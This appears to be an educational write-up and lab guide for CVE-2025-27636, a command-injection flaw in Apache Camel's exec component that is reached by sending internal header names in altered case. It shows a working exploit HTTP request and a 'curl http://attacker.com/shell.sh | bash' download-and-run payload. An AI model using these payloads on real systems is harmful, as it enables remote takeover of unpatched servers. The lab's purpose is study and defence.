
CVE-2025-27636 is a critical Remote Code Execution (RCE) vulnerability in Apache Camel, specifically in the camel-exec component. It stems from a subtle but dangerous issue:
The
DefaultHeaderFilterStrategyperforms case-sensitive checks on header names, which can be bypassed using alternate casing.
This means internal Camel headers—such as CamelExecCommandExecutable—that should be blocked can slip through if their casing is manipulated (e.g., cAmeLexecCommandExecutable).
When this header reaches the exec: endpoint, an attacker can inject arbitrary commands, leading to full system compromise.
DefaultHeaderFilterStrategyApache Camel’s DefaultHeaderFilterStrategy is intended to protect internal headers like:
CamelHttp*CamelFile*CamelExecCommandExecutable ← 🚨 vulnerable if casing bypasses the filter🔍 What Does "Internal" Mean? Internal headers are:
Prefixed with Camel*
Used only within Camel to control behavior (routing, processing, endpoints)
Not intended to be exposed to external systems like HTTP, JMS, etc.
However, prior to the patch, this filter matched header names case-sensitively, which violates the HTTP spec (where headers are case-insensitive) and allows bypasses such as:
GET /systeminfo HTTP/1.1
Host: target-ip:8484
cAmeLexecCommandExecutable: /bin/bash -c "touch /tmp/pwned"
This header would be passed through to the exec: component, which then executes the payload.
CamelExecCommandExecutableThis header tells the camel-exec component which command to run. It’s powerful—and extremely dangerous—if user-controllable, especially in environments that support OS-level commands (e.g., bash, cmd.exe, etc.).
Project: Pinewood Server Diagnostic
Author: @enochgitgamefied
Goal: Reproduce CVE-2025-27636 in a live, educational lab.
👉 https://github.com/enochgitgamefied/CVE-2025-27636-Pratctical-Lab
Built with Apache Camel 4.10.0
Routes:
/tasks → Lists tasks using exec:tasklist or exec:ps/systeminfo → Outputs OS info (systeminfo or uname -a)/network → Shows ipconfig or ifconfigWeb UI served on / using embedded Jetty
Vulnerable to modified-case header injection if filtering is not patched
# Clone the repository
git clone https://github.com/enochgitgamefied/CVE-2025-27636-Pratctical-Lab.git
cd CVE-2025-27636-Pratctical-Lab
# Package the app
mvn clean package
# Run it
java -jar target/hello-camel-1.0-SNAPSHOT.jar
Then visit in your browser:
🖥️ http://<your-ip>:8484
Unpatched behavior:
If you send a header like this (notice casing):
cAmeLexecCommandExecutable: whoami
The filter doesn't block it, and it gets passed to the exec: endpoint. You can demonstrate:
whoamiuname -abash -c "curl http://attacker.com/shell.sh | bash" ← dangerousA complete demonstration is being prepared and will be uploaded soon. It will walk through:
Demo Link on Youtube https://www.youtube.com/watch?v=z4Xf9LYXc9o&t=714s!
HeaderFilterStrategy if you must enforce stricter logic.exec: routes directly to HTTP unless fully locked down.exec.This lab is designed for educational and controlled lab purposes only. Never attempt this on unauthorized systems or networks.
